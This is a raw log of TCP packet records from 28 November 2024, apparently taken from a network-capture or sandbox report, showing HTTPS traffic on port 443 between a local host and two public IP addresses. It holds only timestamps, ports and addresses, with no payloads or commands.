Nov 28, 2024 17:24:25.632287979 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.632323980 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.632330894 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.642872095 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.642934084 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.642942905 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.652045965 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.652069092 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.652112007 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.652121067 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.652148962 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.652169943 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.653981924 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.654031992 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.654037952 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.664079905 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.664129972 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.664136887 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.672826052 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.672866106 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.672894001 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.672900915 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.672941923 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.691276073 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.691287041 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.691358089 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.691368103 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.691406965 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.769637108 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.769747019 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.769754887 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.772232056 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.772308111 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.772315025 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.773845911 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.773874044 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.773931980 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.773941994 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.773978949 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.773998022 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.776648998 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.776700974 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.776706934 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.785280943 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.785326004 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.785332918 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.785625935 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.785692930 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.785700083 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.785752058 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.789369106 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.789416075 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.789424896 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.795684099 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.795708895 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.795711040 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.795737982 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.795741081 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.795742989 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.795749903 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.795825005 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.795833111 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.795890093 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.795890093 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.795896053 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.795921087 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.796011925 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.798166037 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.801466942 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.801517010 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.801523924 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.803894043 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.803970098 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.803976059 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.804017067 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.804841042 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.804891109 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.804897070 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.808300018 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.808343887 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.808351040 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.813745975 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.813807011 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.813813925 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.814234018 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.814253092 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.814308882 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.814316988 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.814373016 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.815643072 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.815725088 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.815731049 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.815776110 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.819614887 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.819662094 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.819670916 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.819677114 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.819720984 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.823003054 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.824424982 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.824489117 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.824498892 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.824564934 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.826141119 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.826188087 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.826195002 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.826850891 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.826870918 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.826937914 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.826945066 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.827016115 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.829493046 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.829535961 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.829543114 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.832591057 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.832664013 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.832670927 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.832711935 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.833060980 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.833115101 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.833122015 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.836291075 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.836349010 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.836355925 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.839581966 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.839610100 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.839663029 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.839669943 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.839709997 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.839729071 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.842746973 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.842791080 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.842797995 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.843687057 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.843774080 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.843780041 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.843833923 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.846139908 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.846164942 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.846189022 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.846196890 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.846239090 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.849512100 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.849672079 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.849720001 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.849998951 CET	49748	443	192.168.2.6	142.250.181.100
Nov 28, 2024 17:24:25.850007057 CET	443	49748	142.250.181.100	192.168.2.6
Nov 28, 2024 17:24:25.851428986 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.851438999 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.851457119 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.851510048 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.851510048 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.851516008 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.851516008 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.851542950 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.851566076 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.851593971 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.858530045 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.858688116 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.858695030 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.858741999 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.866471052 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.866489887 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.866544962 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.866553068 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.866595984 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.869662046 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.869731903 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.869739056 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.869782925 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.876429081 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.876450062 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.876539946 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.876545906 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.876594067 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.880409002 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.880491018 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.880496979 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.880548000 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.887326002 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.887350082 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.887406111 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.887413025 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.887455940 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.888612032 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.888672113 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.888679028 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.888720036 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.895575047 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.895632982 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.895643950 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.895683050 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.898566008 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.898585081 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.898627996 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.898634911 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.898663044 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.898685932 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.906420946 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.906481028 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.906503916 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.906547070 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.914565086 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.914618969 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.914625883 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.914664984 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.923930883 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.924011946 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.924019098 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.924103975 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.931742907 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.931804895 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.931811094 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.931847095 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.947118998 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.947184086 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.947191000 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.947237015 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.955653906 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.955713034 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.955722094 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.955761909 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.964000940 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.964061975 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.964068890 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.964131117 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.974618912 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.974685907 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.974693060 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.974733114 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.983892918 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.983958960 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.983967066 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.984010935 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.992125034 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.992191076 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:25.992197990 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:25.992237091 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.007189035 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.007293940 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.007303953 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.007438898 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.007956982 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.007982016 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.008059025 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.008071899 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.008292913 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.016529083 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.016547918 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.016639948 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.016648054 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.016721964 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.017972946 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.018071890 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.018084049 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.018186092 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.022752047 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.022768974 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.022844076 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.022851944 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.023808002 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.025078058 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.025141954 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.025157928 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.025243998 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.027118921 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.027138948 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.027221918 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.027228117 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.027266979 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.032075882 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.032094955 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.032186985 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.032193899 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.032233953 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.034337997 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.034427881 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.034435987 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.034482002 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.036696911 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.036712885 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.036787033 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.036794901 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.037220955 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.037286043 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.037292957 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.037334919 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.037339926 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.039946079 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.040035009 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.040041924 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.040087938 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.041655064 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.041678905 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.041737080 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.041743040 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.041796923 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.043867111 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.043956995 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.043962955 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.044274092 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.046529055 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.046545982 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.046580076 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.046627045 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.046634912 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.046693087 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.046700001 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.046729088 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.046746016 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.123245955 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.123363018 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.123372078 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.123425007 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.126846075 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.126924992 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.126933098 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.127253056 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.129545927 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.129646063 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.129653931 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.129751921 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.132496119 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.132590055 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.132596016 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.132641077 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.136159897 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.136251926 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.136259079 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.136301994 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.139283895 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.139386892 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.139394045 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.139503956 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.141992092 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.142091990 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.142100096 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.142254114 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.145586014 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.145663023 CET	49752	443	192.168.2.6	150.171.28.10
